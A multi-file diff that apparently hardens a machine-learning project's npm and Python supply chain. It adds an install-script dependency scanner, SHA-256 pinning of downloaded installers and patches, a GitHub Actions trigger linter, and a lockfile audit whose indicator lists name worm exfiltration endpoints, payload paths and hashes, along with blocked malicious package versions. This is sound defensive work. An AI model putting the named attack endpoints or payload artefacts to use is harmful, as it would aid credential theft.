run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1
# Lifecycle scripts (esbuild native-binary postinstall, etc.) are
# required for `vite build`. The pre-install lockfile structural
# audit (lockfile_supply_chain_audit.py) is the practical defence
# against the npm postinstall-dropper class -- it fires BEFORE any
# tarball runs, on the injection pattern itself rather than an
# advisory-DB lookup.
run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1 --no-fund --no-audit
- name: Verify pinned Tauri CLI version
run: |
@ -74,6 +80,12 @@ jobs:
- name: Frontend build (npm ci, vite)
working-directory: studio/frontend
# Lifecycle scripts (esbuild native-binary postinstall, etc.) are
# required for `vite build`. The pre-install lockfile structural
# audit (lockfile_supply_chain_audit.py) is the practical defence
# against the npm postinstall-dropper class -- it fires BEFORE any
# tarball runs, on the injection pattern itself rather than an
# advisory-DB lookup.
run: |
npm ci --no-fund --no-audit
npm run build

View file

@ -57,6 +57,12 @@ jobs:
run: python3 scripts/lockfile_supply_chain_audit.py
- name: Build frontend
# Lifecycle scripts (esbuild native-binary postinstall, etc.) are
# required for `vite build`. The pre-install lockfile structural
# audit (lockfile_supply_chain_audit.py) is the practical defence
# against the npm postinstall-dropper class -- it fires BEFORE any
# tarball runs, on the injection pattern itself rather than an
# advisory-DB lookup.
run: |
cd studio/frontend
npm ci --no-fund --no-audit

View file

@ -1185,3 +1185,10 @@ ignore = [
]
[tool.ruff.format]
[tool.pytest.ini_options]
# Narrow the default test discovery so `pytest` from the repo root
# does NOT pick up the GPU-heavy tests under tests/python, tests/qlora,
# etc. The CI security job runs `pytest tests/security` explicitly.
testpaths = ["tests/security"]
pythonpath = ["."]

View file

@ -0,0 +1,292 @@
#!/usr/bin/env python3
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
"""Diff two `package-lock.json` files and flag NEW install-script deps.
A package with `"hasInstallScript": true` runs `preinstall` / `install` /
`postinstall` lifecycle hooks every time `npm ci` lays it down. Every
npm supply-chain compromise of the last 18 months (Shai-Hulud,
TanStack, axios-style, ArmorCode hijacks) leveraged exactly this lever:
the attacker publishes a new malicious version of a dep we already
trust, and the post-install hook runs the next time CI installs.
This scanner refuses to allow a newly-introduced install-script dep to
land without a maintainer eyeball on the lifecycle script body.
Existing install-script deps are NOT re-flagged -- if `node-gyp` has
been in the lockfile since day one, it's not part of this PR's threat
model. Only new entries are surfaced.
Supports lockfileVersion 1 (`dependencies` key, recursive), 2 and 3
(flat `packages` key with `node_modules/<a>/node_modules/<b>` nesting
for transitive entries). For each NEW install-script package we
attempt a stdlib-only fetch of
`https://registry.npmjs.org/<name>/<version>` to recover the actual
postinstall command body. If the network is blocked we still emit the
finding -- the lifecycle command body is informational, not
load-bearing.
Exit codes
==========
0 no newly-added install-script deps
1 one or more newly-added install-script deps; listed on stderr
2 internal error (missing lockfile, malformed JSON, etc.)
"""
from __future__ import annotations
import argparse
import json
import sys
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path
REGISTRY_BASE = "https://registry.npmjs.org/"
REGISTRY_TIMEOUT_SECS = 5
CRITICAL = "CRITICAL"
HIGH = "HIGH"
class Finding:
__slots__ = ("severity", "name", "version", "kind", "detail")
def __init__(
self, severity: str, name: str, version: str, kind: str, detail: str
) -> None:
self.severity = severity
self.name = name
self.version = version
self.kind = kind
self.detail = detail
def __str__(self) -> str:
return (
f" [{self.severity}] {self.name}@{self.version}\n"
f" kind: {self.kind}\n"
f" detail: {self.detail}"
)
# ─────────────────────────────────────────────────────────────────────
# Lockfile parsing.
# ─────────────────────────────────────────────────────────────────────
def _strip_nm_prefix(key: str) -> str:
"""Convert a v2/v3 `packages` key into a bare package name.
`node_modules/foo` -> `foo`; `node_modules/foo/node_modules/bar` ->
`bar`. The empty key (`""`) is the project root and returns "".
"""
if not key:
return ""
# Use the LAST `node_modules/` segment so transitives map to their
# leaf name, matching how npm install resolves a postinstall.
marker = "node_modules/"
idx = key.rfind(marker)
if idx == -1:
return key
return key[idx + len(marker) :]
def _collect_install_script_entries(lock: dict) -> dict[str, str]:
"""Walk a parsed lockfile and return {package_name: version} for
every entry with `hasInstallScript: true` (v2/v3) OR a
non-empty `scripts.preinstall|install|postinstall` (v1).
The same package may appear at multiple versions in a single
lockfile (de-duplicated copies under different parents); we key by
`name@version` so we don't lose either copy. Returns a dict keyed
by `name@version` -> the same string for convenience.
"""
seen: dict[str, str] = {}
version = lock.get("lockfileVersion")
# v2 / v3: flat `packages` map.
packages = lock.get("packages") or {}
for key, entry in packages.items():
if key == "" or not isinstance(entry, dict):
continue
if entry.get("link"):
continue
if not entry.get("hasInstallScript"):
continue
name = _strip_nm_prefix(key)
if not name:
continue
ver = entry.get("version") or "<unversioned>"
seen[f"{name}@{ver}"] = name
# v1 also embeds a `dependencies` tree; v2/v3 carry both for
# backwards-compat but `packages` is canonical for them. For v1
# there is no `hasInstallScript` flag, so look for a non-empty
# `scripts.preinstall|install|postinstall` directly.
def _walk_v1(deps: dict, depth: int = 0) -> None:
if depth > 64 or not isinstance(deps, dict):
return
for name, entry in deps.items():
if not isinstance(entry, dict):
continue
scripts = entry.get("scripts") or {}
lifecycle = any(
isinstance(scripts, dict) and scripts.get(hook)
for hook in ("preinstall", "install", "postinstall")
)
# v1 also sets `requires` only on the parent, no flag, so
# the lifecycle-script presence is the only signal.
if lifecycle:
ver = entry.get("version") or "<unversioned>"
seen[f"{name}@{ver}"] = name
_walk_v1(entry.get("dependencies"), depth = depth + 1)
if version == 1 or "dependencies" in lock:
_walk_v1(lock.get("dependencies") or {})
return seen
def _load_lockfile(path: Path) -> dict:
if not path.exists():
raise FileNotFoundError(f"lockfile not found: {path}")
try:
return json.loads(path.read_text(encoding = "utf-8"))
except json.JSONDecodeError as exc:
raise ValueError(f"{path}: not valid JSON: {exc}") from exc
# ─────────────────────────────────────────────────────────────────────
# Registry lookup for the postinstall command body (best-effort).
# ─────────────────────────────────────────────────────────────────────
def _fetch_registry_scripts(name: str, version: str) -> dict[str, str] | None:
"""Return {hook: command} for any of preinstall / install /
postinstall published in the registry metadata for this name@ver.
Returns None on any error (network blocked, 404, malformed JSON).
Never raises; the caller treats absence as "could not enrich, emit
finding anyway".
"""
safe_name = urllib.parse.quote(name, safe = "@/")
url = f"{REGISTRY_BASE}{safe_name}/{urllib.parse.quote(version)}"
try:
with urllib.request.urlopen(url, timeout = REGISTRY_TIMEOUT_SECS) as resp:
body = resp.read()
except (urllib.error.URLError, OSError, ValueError, TimeoutError):
return None
try:
meta = json.loads(body)
except json.JSONDecodeError:
return None
scripts = meta.get("scripts") or {}
if not isinstance(scripts, dict):
return None
keep = {}
for hook in ("preinstall", "install", "postinstall"):
cmd = scripts.get(hook)
if isinstance(cmd, str) and cmd.strip():
keep[hook] = cmd
return keep or None
# ─────────────────────────────────────────────────────────────────────
# Diff.
# ─────────────────────────────────────────────────────────────────────
def diff_new_install_scripts(base_lock: dict, head_lock: dict) -> list[Finding]:
base = _collect_install_script_entries(base_lock)
head = _collect_install_script_entries(head_lock)
findings: list[Finding] = []
for key in sorted(head):
if key in base:
continue # pre-existing install-script dep; not in scope
name = head[key]
# key is "name@version"; rsplit("@", 1) handles scoped names.
version = (
key[len(name) + 1 :] if key.startswith(name + "@") else "<unversioned>"
)
scripts = _fetch_registry_scripts(name, version)
if scripts:
detail = "; ".join(f"{h}={cmd!r}" for h, cmd in scripts.items())
else:
detail = (
"newly added with hasInstallScript=true; registry "
"metadata unreachable -- inspect the package's "
"scripts.{preinstall,install,postinstall} manually"
)
findings.append(
Finding(
severity = CRITICAL,
name = name,
version = version,
kind = "new-install-script",
detail = detail,
)
)
return findings
# ─────────────────────────────────────────────────────────────────────
# CLI.
# ─────────────────────────────────────────────────────────────────────
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(
description = (
"Diff two package-lock.json files and refuse any newly-"
"added install-script dep."
),
)
parser.add_argument(
"--base",
required = True,
help = "Path to the BASE package-lock.json (e.g. main branch).",
)
parser.add_argument(
"--head",
required = True,
help = "Path to the HEAD package-lock.json (this PR).",
)
args = parser.parse_args(argv)
try:
base_lock = _load_lockfile(Path(args.base))
head_lock = _load_lockfile(Path(args.head))
except (FileNotFoundError, ValueError) as exc:
print(f"[install-script-diff] ERROR: {exc}", file = sys.stderr)
return 2
findings = diff_new_install_scripts(base_lock, head_lock)
if not findings:
print(
"[install-script-diff] OK: no newly-added install-script "
"dependencies between base and head",
flush = True,
)
return 0
print(
f"\n[install-script-diff] FAIL: {len(findings)} newly-added "
f"install-script dependency(ies):\n",
file = sys.stderr,
)
for f in findings:
print(str(f), file = sys.stderr)
print(file = sys.stderr)
print(
"[install-script-diff] Refusing to proceed. Every new "
"install-script dep is a postinstall lifecycle hook that "
"would run on the next `npm ci`. Review each finding above, "
"confirm the maintainer + version, and re-run.",
file = sys.stderr,
)
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -6,12 +6,38 @@ from __future__ import annotations
import ast
import argparse
import io
import os
import sys
import tempfile
import tokenize
from collections import defaultdict
from pathlib import Path
def _atomic_write_text(path: Path, data: str, encoding: str) -> None:
"""Write ``data`` to ``path`` atomically.
Stages a tmp file in the same directory (so it's on the same
filesystem as the destination), fsyncs, then `os.replace`s into
place. A crash mid-write therefore leaves either the previous
content or the fully new content -- never a truncated source file.
"""
dirpath = str(path.parent) or "."
fd, tmp_path = tempfile.mkstemp(prefix=".kwargs_fix.", dir=dirpath)
try:
with os.fdopen(fd, "w", encoding=encoding) as handle:
handle.write(data)
handle.flush()
os.fsync(handle.fileno())
os.replace(tmp_path, path)
except Exception:
try:
os.unlink(tmp_path)
except OSError:
pass
raise
def enforce_spacing(text: str) -> tuple[str, bool]:
"""Return updated text with keyword '=' padded by spaces, plus change flag."""
lines = text.splitlines(keepends=True)
@ -146,7 +172,7 @@ def process_file(path: Path) -> bool:
updated, changed = enforce_spacing(original)
updated, removed = remove_redundant_passes(updated)
if changed or removed:
path.write_text(updated, encoding=encoding)
_atomic_write_text(path, updated, encoding)
return True
return False

View file

@ -1,9 +1,15 @@
#!/bin/bash
set -e
set -euo pipefail
# ============================================================
# Gemma 4 MLX — One-command setup + inference
#
# Supply-chain hardening: the uv installer payload is pinned by
# SHA-256. Rotate by running:
# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256
# and updating _UV_INSTALLER_SHA256 below.
# ============================================================
#
# Usage:
# bash install_gemma4_mlx.sh [--venv-dir DIR]
#
@ -104,10 +110,17 @@ else
fi
# ── Install uv ───────────────────────────────────────────────
_UV_INSTALLER_SHA256="48cd5aca5d5671a3b3d5f61538cc8622e4434af63319115159990d8b0dd02416"
if ! command -v uv >/dev/null 2>&1; then
step "uv" "installing uv package manager..."
_uv_tmp=$(mktemp)
curl -LsSf "https://astral.sh/uv/install.sh" -o "$_uv_tmp"
_uv_actual=$(shasum -a 256 "$_uv_tmp" | awk '{print $1}')
if [ "$_uv_actual" != "$_UV_INSTALLER_SHA256" ]; then
rm -f "$_uv_tmp"
fail "uv installer SHA-256 mismatch: got $_uv_actual expected $_UV_INSTALLER_SHA256 (refusing to execute)"
fi
sh "$_uv_tmp" </dev/null >/dev/null 2>&1
rm -f "$_uv_tmp"
if [ -f "$HOME/.local/bin/env" ]; then

View file

@ -1,9 +1,18 @@
#!/bin/bash
set -e
set -euo pipefail
# ============================================================
# Qwen3.6 MLX — One-command setup + inference
#
# Supply-chain hardening:
# - All third-party downloads (uv installer, mlx_vlm qwen3_5
# patches) are pinned to an immutable git commit SHA and verified
# against a hardcoded SHA-256. Any mismatch aborts the install
# before the bytes are copied into site-packages.
# - To rotate any pin, fetch the new file with `curl`, run
# `shasum -a 256`, and update the corresponding constant below.
# ============================================================
#
# Usage:
# bash install_qwen3_6_mlx.sh [--venv-dir DIR]
#
@ -104,10 +113,21 @@ else
fi
# ── Install uv ───────────────────────────────────────────────
# Pin the uv installer payload by SHA-256. Rotate by running:
# curl -sSLf https://astral.sh/uv/install.sh | shasum -a 256
# and updating the constant below. We fetch into a temp file, verify
# the digest, and only then execute. Mismatch aborts.
_UV_INSTALLER_SHA256="48cd5aca5d5671a3b3d5f61538cc8622e4434af63319115159990d8b0dd02416"
if ! command -v uv >/dev/null 2>&1; then
step "uv" "installing uv package manager..."
_uv_tmp=$(mktemp)
curl -LsSf "https://astral.sh/uv/install.sh" -o "$_uv_tmp"
_uv_actual=$(shasum -a 256 "$_uv_tmp" | awk '{print $1}')
if [ "$_uv_actual" != "$_UV_INSTALLER_SHA256" ]; then
rm -f "$_uv_tmp"
fail "uv installer SHA-256 mismatch: got $_uv_actual expected $_UV_INSTALLER_SHA256 (refusing to execute)"
fi
sh "$_uv_tmp" </dev/null
rm -f "$_uv_tmp"
if [ -f "$HOME/.local/bin/env" ]; then
@ -150,21 +170,55 @@ else
fi
# ── Apply patches for multi-turn image chat ──────────────────
_PATCH_BASE="https://raw.githubusercontent.com/unslothai/unsloth/refs/heads/fix/ui-fix/unsloth/models/patches/mlx_vlm_qwen3_5"
#
# Pin every patch to an immutable commit SHA and verify the body
# against a hardcoded SHA-256. The mlx_vlm_qwen3_5 patch tree
# currently only exists on the upstream `fix/ui-fix` branch; we pin
# to the branch HEAD commit, NOT the floating ref, so a forced push
# on `fix/ui-fix` cannot swap the bytes under us.
#
# Rotate by:
# _PATCH_COMMIT=<new SHA>
# curl -sSLf "https://raw.githubusercontent.com/unslothai/unsloth/$_PATCH_COMMIT/unsloth/models/patches/mlx_vlm_qwen3_5/qwen3_5.py" | shasum -a 256
# curl -sSLf "https://raw.githubusercontent.com/unslothai/unsloth/$_PATCH_COMMIT/unsloth/models/patches/mlx_vlm_qwen3_5/generate.py" | shasum -a 256
_PATCH_COMMIT="013c99e51bbb8c4b83d88f3b150a1e53251a19d2"
_PATCH_BASE="https://raw.githubusercontent.com/unslothai/unsloth/${_PATCH_COMMIT}/unsloth/models/patches/mlx_vlm_qwen3_5"
_PATCH_SHA_QWEN35="4b6fbbcc59b1d6b935e7204351aae1476836d25542a11c7885402b672d2efa64"
_PATCH_SHA_GENERATE="50c4cbb8c3d94c0c74a4d209db6d2b23b102944c147c6421f2eded427b8edaf7"
_SITE_PKGS=$("$_VENV_PY" -c "import site; print(site.getsitepackages()[0])")
step "patch" "fixing multi-turn image chat..."
if curl -sSLf "${_PATCH_BASE}/qwen3_5.py" -o "${_SITE_PKGS}/mlx_vlm/models/qwen3_5/qwen3_5.py"; then
# Stage all downloads in an isolated tmpdir; we only copy into
# site-packages after every checksum has matched.
_PATCH_TMP=$(mktemp -d)
trap 'rm -rf "$_PATCH_TMP"' EXIT
apply_pinned_patch() {
# apply_pinned_patch <remote_basename> <expected_sha256> <dest_abspath>
_name="$1"; _expected="$2"; _dest="$3"
_staged="$_PATCH_TMP/$_name"
if ! curl -sSLf "${_PATCH_BASE}/${_name}" -o "$_staged"; then
step "warning" "failed to download ${_name} patch — multi-turn image chat may not work" "$C_WARN"
return 1
fi
_actual=$(shasum -a 256 "$_staged" | awk '{print $1}')
if [ "$_actual" != "$_expected" ]; then
step "warning" "${_name} SHA-256 mismatch (got $_actual expected $_expected) — refusing to install patch" "$C_WARN"
return 1
fi
mkdir -p "$(dirname "$_dest")"
cp "$_staged" "$_dest"
return 0
}
if apply_pinned_patch "qwen3_5.py" "$_PATCH_SHA_QWEN35" "${_SITE_PKGS}/mlx_vlm/models/qwen3_5/qwen3_5.py"; then
substep "patched qwen3_5.py (MRoPE position reset)"
else
step "warning" "failed to download qwen3_5.py patch — multi-turn image chat may not work" "$C_WARN"
fi
if curl -sSLf "${_PATCH_BASE}/generate.py" -o "${_SITE_PKGS}/mlx_vlm/generate.py"; then
if apply_pinned_patch "generate.py" "$_PATCH_SHA_GENERATE" "${_SITE_PKGS}/mlx_vlm/generate.py"; then
substep "patched generate.py (mask trim on cache reuse)"
else
step "warning" "failed to download generate.py patch — multi-turn image chat may not work" "$C_WARN"
fi
# Clear pycache so patches take effect

View file

@ -0,0 +1,172 @@
#!/usr/bin/env python3
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
"""Refuse dangerous GitHub Actions trigger patterns at PR time.
Two patterns are banned outright, both of which powered the TanStack
GHSA-g7cv-rxg3-hmpx supply-chain compromise:
1. `pull_request_target` -- runs a fork's workflow YAML against the
BASE repository's secrets and permissions. The fork can inject
arbitrary code into the base context. The TanStack worm used this
to land base-context execution from a fork PR. There is essentially
no safe use of this trigger for a public open-source project;
`pull_request` is the safe alternative.
2. `workflow_run` chained to a PR-triggered workflow -- carries the
same trust boundary problem one hop later. If a PR-triggered
workflow can poison artifacts/caches and a `workflow_run` trigger
fires off the result with elevated permissions, the attacker still
reaches the trusted context.
3. Shared cache keys between PR-triggered workflows and publish /
release / push-triggered workflows. The TanStack worm poisoned the
Actions cache from a fork PR and the legitimate release workflow
then restored the poisoned cache. Cache keys must be partitioned
so that nothing a PR can write is ever read by a workflow that
holds secrets.
Exit codes
==========
0 no findings
1 one or more findings; stderr lists each with file path
Run from repo root:
python3 scripts/lint_workflow_triggers.py
"""
from __future__ import annotations
import argparse
import re
import sys
from pathlib import Path
try:
import yaml
except ImportError:
print(
"ERROR: PyYAML is required. Install with 'pip install pyyaml'", file = sys.stderr
)
sys.exit(2)
REPO_ROOT = Path(__file__).resolve().parents[1]
DEFAULT_WORKFLOWS_DIR = REPO_ROOT / ".github" / "workflows"
BANNED_TRIGGERS: tuple[str, ...] = ("pull_request_target",)
RESTRICTED_TRIGGERS: tuple[str, ...] = ("workflow_run",)
PUBLISH_WORKFLOW_NAMES: tuple[str, ...] = ("release-desktop.yml",)
def _normalise_on(on_field):
if isinstance(on_field, str):
return {on_field}
if isinstance(on_field, list):
return set(on_field)
if isinstance(on_field, dict):
return set(on_field.keys())
return set()
def _load_workflow(path: Path):
try:
return yaml.safe_load(path.read_text())
except Exception as exc:
print(f"ERROR: failed to parse {path}: {exc}", file = sys.stderr)
sys.exit(2)
def _extract_cache_keys(path: Path) -> list[str]:
text = path.read_text()
keys: list[str] = []
for m in re.finditer(r"(?:^|\n)\s*key:\s*([^\n]+)", text):
keys.append(m.group(1).strip())
return keys
def _trigger_set(yaml_doc) -> set[str]:
on = yaml_doc.get(True)
if on is None:
on = yaml_doc.get("on")
return _normalise_on(on)
def main() -> int:
parser = argparse.ArgumentParser(description = __doc__)
parser.add_argument(
"--workflows-dir",
type = Path,
default = DEFAULT_WORKFLOWS_DIR,
help = "Override the workflows directory (used by tests).",
)
args = parser.parse_args()
workflows_dir = args.workflows_dir
findings: list[str] = []
workflows = sorted(workflows_dir.glob("*.yml"))
pr_triggered: list[tuple[Path, list[str]]] = []
publish_triggered: list[tuple[Path, list[str]]] = []
for path in workflows:
doc = _load_workflow(path)
triggers = _trigger_set(doc)
for t in BANNED_TRIGGERS:
if t in triggers:
findings.append(
f"{path.name}: BANNED trigger '{t}' (GHSA-g7cv-rxg3-hmpx "
"pattern: fork PRs run in base-repo context). Switch to "
"'pull_request' and use a deploy-on-merge workflow for "
"any privileged step."
)
for t in RESTRICTED_TRIGGERS:
if t in triggers:
text = path.read_text()
if "lint:workflow_triggers-allow-workflow_run" not in text:
findings.append(
f"{path.name}: RESTRICTED trigger '{t}' requires an "
"explicit `# lint:workflow_triggers-allow-workflow_run` "
"comment somewhere in the file, with a justification."
)
if "pull_request" in triggers:
pr_triggered.append((path, _extract_cache_keys(path)))
is_dispatch_only = "workflow_dispatch" in triggers and not (
"push" in triggers or "pull_request" in triggers
)
if path.name in PUBLISH_WORKFLOW_NAMES or is_dispatch_only:
publish_triggered.append((path, _extract_cache_keys(path)))
pr_keys = {key for _, keys in pr_triggered for key in keys}
for pub_path, pub_keys in publish_triggered:
for k in pub_keys:
if k in pr_keys:
findings.append(
f"{pub_path.name}: cache key {k!r} is also declared in a "
"PR-triggered workflow. A fork PR could poison this cache "
"and the publish workflow would restore it on next run. "
"Add a unique suffix (e.g. '-publish-only') to partition "
"the namespaces."
)
if findings:
print(
"Workflow trigger lint failed with the following issues:", file = sys.stderr
)
for f in findings:
print(f" - {f}", file = sys.stderr)
return 1
print(
f"OK: scanned {len(workflows)} workflow file(s); "
f"no pull_request_target, no unjustified workflow_run, "
f"no PR/publish cache-key collision."
)
return 0
if __name__ == "__main__":
sys.exit(main())

288
scripts/lockfile_supply_chain_audit.py Executable file → Normal file
View file

@ -44,8 +44,10 @@ studio/src-tauri/Cargo.lock:
Exit codes
==========
0 no findings, or an opt-out env var (UNSLOTH_LOCKFILE_AUDIT_SKIP=1)
is set
0 no findings, or an opt-out env var (UNSLOTH_LOCKFILE_AUDIT_SKIP)
is set to a justification string (>=5 chars, not '1'/'true'/etc).
A value like '1' or 'true' is now REJECTED loudly and the audit
runs normally
1 one or more findings; stderr lists them with file path and line
number where derivable
2 internal error (missing dependency, malformed JSON, etc.)
@ -95,8 +97,236 @@ NPM_IOC_STRINGS: tuple[str, ...] = (
"getsession.org/file/",
# Campaign markers; the worm tarballs print this to stdout on run.
"A Mini Shai-Hulud has Appeared",
# Mini Shai-Hulud May-12 2026 wave.
"git-tanstack.com",
"transformers.pyz",
"/tmp/transformers.pyz",
"With Love TeamPCP",
# Aikido (May-12 wave): payload SHA-256 hashes + Bun marker.
"ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c",
"2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96",
"bun run tanstack_runner.js",
"We've been online over 2 hours",
)
# Hard pin-blocks for publicly confirmed malicious versions.
# keep in sync with scripts/scan_npm_packages.py
BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
# GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions).
"@tanstack/arktype-adapter": {"1.166.12", "1.166.15"},
"@tanstack/eslint-plugin-router": {"1.161.9", "1.161.12"},
"@tanstack/eslint-plugin-start": {"0.0.4", "0.0.7"},
"@tanstack/history": {"1.161.9", "1.161.12"},
"@tanstack/nitro-v2-vite-plugin": {"1.154.12", "1.154.15"},
"@tanstack/react-router": {"1.169.5", "1.169.8"},
"@tanstack/react-router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/react-router-ssr-query": {"1.166.15", "1.166.18"},
"@tanstack/react-start": {"1.167.68", "1.167.71"},
"@tanstack/react-start-client": {"1.166.51", "1.166.54"},
"@tanstack/react-start-rsc": {"0.0.47", "0.0.50"},
"@tanstack/react-start-server": {"1.166.55", "1.166.58"},
"@tanstack/router-cli": {"1.166.46", "1.166.49"},
"@tanstack/router-core": {"1.169.5", "1.169.8"},
"@tanstack/router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/router-devtools-core": {"1.167.6", "1.167.9"},
"@tanstack/router-generator": {"1.166.45", "1.166.48"},
"@tanstack/router-plugin": {"1.167.38", "1.167.41"},
"@tanstack/router-ssr-query-core": {"1.168.3", "1.168.6"},
"@tanstack/router-utils": {"1.161.11", "1.161.14"},
"@tanstack/router-vite-plugin": {"1.166.53", "1.166.56"},
"@tanstack/solid-router": {"1.169.5", "1.169.8"},
"@tanstack/solid-router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/solid-router-ssr-query": {"1.166.15", "1.166.18"},
"@tanstack/solid-start": {"1.167.65", "1.167.68"},
"@tanstack/solid-start-client": {"1.166.50", "1.166.53"},
"@tanstack/solid-start-server": {"1.166.54", "1.166.57"},
"@tanstack/start-client-core": {"1.168.5", "1.168.8"},
"@tanstack/start-fn-stubs": {"1.161.9", "1.161.12"},
"@tanstack/start-plugin-core": {"1.169.23", "1.169.26"},
"@tanstack/start-server-core": {"1.167.33", "1.167.36"},
"@tanstack/start-static-server-functions": {"1.166.44", "1.166.47"},
"@tanstack/start-storage-context": {"1.166.38", "1.166.41"},
"@tanstack/valibot-adapter": {"1.166.12", "1.166.15"},
"@tanstack/virtual-file-routes": {"1.161.10", "1.161.13"},
"@tanstack/vue-router": {"1.169.5", "1.169.8"},
"@tanstack/vue-router-devtools": {"1.166.16", "1.166.19"},
"@tanstack/vue-router-ssr-query": {"1.166.15", "1.166.18"},
"@tanstack/vue-start": {"1.167.61", "1.167.64"},
"@tanstack/vue-start-client": {"1.166.46", "1.166.49"},
"@tanstack/vue-start-server": {"1.166.50", "1.166.53"},
"@tanstack/zod-adapter": {"1.166.12", "1.166.15"},
# Mini Shai-Hulud May-12 wave: OpenSearch JS client.
"@opensearch-project/opensearch": {"3.5.3", "3.6.2", "3.7.0", "3.8.0"},
# Mini Shai-Hulud May-12 wave: @squawk/* (22 packages, 5 versions each;
# https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/).
"@squawk/airport-data": {"0.7.4", "0.7.5", "0.7.6", "0.7.7", "0.7.8"},
"@squawk/airports": {"0.6.2", "0.6.3", "0.6.4", "0.6.5", "0.6.6"},
"@squawk/airspace": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"},
"@squawk/airspace-data": {"0.5.3", "0.5.4", "0.5.5", "0.5.6", "0.5.7"},
"@squawk/airway-data": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"},
"@squawk/airways": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"},
"@squawk/fix-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"},
"@squawk/fixes": {"0.3.2", "0.3.3", "0.3.4", "0.3.5", "0.3.6"},
"@squawk/flight-math": {"0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8"},
"@squawk/flightplan": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"},
"@squawk/geo": {"0.4.4", "0.4.5", "0.4.6", "0.4.7", "0.4.8"},
"@squawk/icao-registry": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"},
"@squawk/icao-registry-data": {"0.8.4", "0.8.5", "0.8.6", "0.8.7", "0.8.8"},
"@squawk/mcp": {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"},
"@squawk/navaid-data": {"0.6.4", "0.6.5", "0.6.6", "0.6.7", "0.6.8"},
"@squawk/navaids": {"0.4.2", "0.4.3", "0.4.4", "0.4.5", "0.4.6"},
"@squawk/notams": {"0.3.6", "0.3.7", "0.3.8", "0.3.9", "0.3.10"},
"@squawk/procedure-data": {"0.7.3", "0.7.4", "0.7.5", "0.7.6", "0.7.7"},
"@squawk/procedures": {"0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6"},
"@squawk/types": {"0.8.1", "0.8.2", "0.8.3", "0.8.4", "0.8.5"},
"@squawk/units": {"0.4.3", "0.4.4", "0.4.5", "0.4.6", "0.4.7"},
"@squawk/weather": {"0.5.6", "0.5.7", "0.5.8", "0.5.9", "0.5.10"},
# Mini Shai-Hulud May-12 wave: @uipath/* (64 packages, single version each;
# https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
"@uipath/apollo-react": {"4.24.5"},
"@uipath/apollo-wind": {"2.16.2"},
"@uipath/cli": {"1.0.1"},
"@uipath/rpa-tool": {"0.9.5"},
"@uipath/apollo-core": {"5.9.2"},
"@uipath/filesystem": {"1.0.1"},
"@uipath/solutionpackager-tool-core": {"0.0.34"},
"@uipath/solution-tool": {"1.0.1"},
"@uipath/maestro-tool": {"1.0.1"},
"@uipath/codedapp-tool": {"1.0.1"},
"@uipath/agent-tool": {"1.0.1"},
"@uipath/orchestrator-tool": {"1.0.1"},
"@uipath/integrationservice-tool": {"1.0.2"},
"@uipath/rpa-legacy-tool": {"1.0.1"},
"@uipath/vertical-solutions-tool": {"1.0.1"},
"@uipath/flow-tool": {"1.0.2"},
"@uipath/codedagent-tool": {"1.0.1"},
"@uipath/common": {"1.0.1"},
"@uipath/resource-tool": {"1.0.1"},
"@uipath/auth": {"1.0.1"},
"@uipath/docsai-tool": {"1.0.1"},
"@uipath/case-tool": {"1.0.1"},
"@uipath/api-workflow-tool": {"1.0.1"},
"@uipath/test-manager-tool": {"1.0.2"},
"@uipath/robot": {"1.3.4"},
"@uipath/traces-tool": {"1.0.1"},
"@uipath/agent-sdk": {"1.0.2"},
"@uipath/integrationservice-sdk": {"1.0.2"},
"@uipath/maestro-sdk": {"1.0.1"},
"@uipath/data-fabric-tool": {"1.0.2"},
"@uipath/tasks-tool": {"1.0.1"},
"@uipath/insights-tool": {"1.0.1"},
"@uipath/insights-sdk": {"1.0.1"},
"@uipath/uipath-python-bridge": {"1.0.1"},
"@uipath/ap-chat": {"1.5.7"},
"@uipath/project-packager": {"1.1.16"},
"@uipath/packager-tool-case": {"0.0.9"},
"@uipath/packager-tool-workflowcompiler-browser": {"0.0.34"},
"@uipath/packager-tool-connector": {"0.0.19"},
"@uipath/packager-tool-workflowcompiler": {"0.0.16"},
"@uipath/packager-tool-webapp": {"1.0.6"},
"@uipath/packager-tool-apiworkflow": {"0.0.19"},
"@uipath/packager-tool-functions": {"0.1.1"},
"@uipath/widget.sdk": {"1.2.3"},
"@uipath/resources-tool": {"0.1.11"},
"@uipath/agent.sdk": {"0.0.18"},
"@uipath/codedagents-tool": {"0.1.12"},
"@uipath/aops-policy-tool": {"0.3.1"},
"@uipath/solution-packager": {"0.0.35"},
"@uipath/packager-tool-bpmn": {"0.0.9"},
"@uipath/packager-tool-flow": {"0.0.19"},
"@uipath/telemetry": {"0.0.7"},
"@uipath/tool-workflowcompiler": {"0.0.12"},
"@uipath/vss": {"0.1.6"},
"@uipath/solutionpackager-sdk": {"1.0.11"},
"@uipath/ui-widgets-multi-file-upload": {"1.0.1"},
"@uipath/access-policy-tool": {"0.3.1"},
"@uipath/context-grounding-tool": {"0.1.1"},
"@uipath/gov-tool": {"0.3.1"},
"@uipath/admin-tool": {"0.1.1"},
